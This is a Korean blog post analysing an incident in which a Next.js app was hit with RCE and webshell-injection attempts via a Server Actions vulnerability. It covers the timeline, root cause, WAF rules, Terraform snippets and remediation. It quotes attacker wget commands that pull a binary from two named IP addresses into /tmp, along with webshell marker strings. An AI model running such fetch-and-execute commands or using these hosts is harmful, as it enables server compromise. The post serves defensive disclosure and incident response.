본문 바로가기
Security

웹쉘인젝션 공격 분석 및 대응 (Nextjs, React 보안 취약점 CVE-2025-66478)

by Rainbound-IT 2025. 12. 9.
반응형

 

 

최근 운영 중이던 웹 애플리케이션에서 원격 코드 실행(RCE)과 웹쉘 인젝션(WebShell Injection) 공격 시도가 탐지되었습니다. API 지연 문제를 조사하던 중 발견한 사례로, 내부망 기반 서비스라 하더라도 CloudFront, ALB 등을 경유하면 언제든 외부 공격이 유입될 수 있다는 점을 다시 확인한 인시던트였습니다.

이번 글에서는 공격 타임라인, 원인, 대응 과정, 향후 방어 전략을 정리해 공유합니다.


1. 인시던트 개요

  • 발견일시: 2025-12-08
  • 대상 서비스(예시): example-web (Next.js 기반 프런트엔드)
  • 심각도: ★★★★★ Critical
  • 탐지 방식: CloudFront → ALB → Pod 로그 분석 중 RCE 및 웹쉘 패턴 확인

2. 공격 타임라인 요약

 

시간(UTC)  공격 유형 상세 정보
2025-12-07 13:52 RCE 시도 wget 요청으로 악성 바이너리 다운로드 시도
2025-12-07 16:43 웹쉘 인젝션 파일 매니저형 웹쉘 흔적 탐지
2025-12-07 20:02 메모리쉘 인젝션 메모리 기반 웹쉘 문자열 패턴 발견
2025-12-07 21:31 RCE 재시도 추가 악성 서버에서 바이너리 다운로드 시도

특징은 여러 IP가 동일한 페이로드를 단계적으로 투입했다는 점이다. 이는 일반 스캐닝이 아니라 자동화된 공격 스크립트 또는 Botnet 기반 공격으로 추정된다.


3. 공격 벡터 분석

🔎 발견된 공격 패턴

wget -qO /tmp/443nb64 http://128.199.194.97:5511/443nb64
wget -qO /tmp/443nb64 http://146.88.129.138:5511/443nb64

memshell_injected_at_/shellxxxx
filemanager_injected_at_/filexxxx

📌 공격 경로 구조

인터넷 → CloudFront → ALB → example-web Pod
                      ↓
              Next.js RCE 취약점 악용

공격자는 프레임워크의 취약점을 활용해 서버 액션을 악용한 것으로 보인다.


4. 근본 원인 분석

❗ Next.js RCE 취약점(GHSA-9qr9-h5gf-34mp)

  • 영향 버전: 15.5.0 ~ 15.5.6
  • 문제점: Server Actions 기능에서 입력 검증 미비로 인해 RCE 발생 가능
  • 현재 서비스 버전(예시): 15.5.4 → 취약 버전

비록 내부 프라이빗 클러스터(EKS) 환경이라도, CloudFront와 ALB를 통한 HTTP 접근이 가능하기 때문에 인터넷과 실제로는 완전히 격리되지 않는 구조였다.


5. 대응 조치

✅ 즉시 조치(완료)

  • 공격 로그 전량 수집 및 분석
  • 공격자 IP 식별 및 임시 차단
  • AWS WAF Web ACL 생성 및 기본 룰 적용
  • 보안팀에 인시던트 리포트 전달

🔐 적용된 WAF 룰셋(예시)

  1. AWSManagedRulesCommonRuleSet
  2. AWSManagedRulesKnownBadInputsRuleSet
  3. AWSManagedRulesUnixRuleSet (wget/curl/chmod 등 차단)
  4. AWSManagedRulesAnonymousIpList
  5. IP 기준 RateLimit (5분 2000req 제한)

⏳ 추가 필요 작업

  • CloudFront와 WAF WebACL 연결
  • Next.js 버전 업그레이드(15.5.7 이상)
  • 배포된 Pod 재시작(악성코드 Persistence 제거)
  • 전체 서비스 보안 점검

6. Terraform 구성(예시)

WAF 생성은 인프라 코드로 관리되며 아래와 같이 구성했다.

# waf.tf
resource "aws_wafv2_web_acl" "cloudfront_waf" {
  name        = "cloudfront-waf-acl"
  scope       = "CLOUDFRONT"
  ...
}

CloudFront 배포 파일:

web_acl_id = aws_wafv2_web_acl.cloudfront_waf.arn

7. 향후 보안 강화 전략

📌 단기

  1. Next.js 패치 적용 (필수)
  2. CloudFront–WAF 연동 완료
  3. Pod 재배포로 웹쉘 흔적 제거

📌 중기·장기

  • CloudWatch 기반 실시간 공격 탐지 알람 구성
  • WAF 로그 주기적 분석 자동화
  • 정기적인 취약점 점검 및 npm audit 자동화
  • 서비스별 보안 인시던트 대응 절차 문문화

8. 공격자 IP 정보

 

IP 특성
128.199.194.97 해외 VPS 추정(악성 바이너리 호스팅)
146.88.129.138 알려진 공격 스크립트 배포 서버

마무리

이번 사례는 프레임워크 최신 버전 유지의 중요성,

그리고 내부망 기반 서비스라도 공격이 유입될 수 있다는 위험성을 다시 보여주었습니다.

웹 애플리케이션 프레임워크가 제공하는 편리한 기능(Server Actions 등)은 종종 예상치 못한 공격 벡터가 되기도 하므로, 평소 보안 공지 모니터링, 패치 전략, WAF 기본 룰 구성은 필수입니다.

 

 

참조

https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp

https://www.cve.org/CVERecord?id=CVE-2025-55182

https://news.hada.io/topic?id=24874

반응형

댓글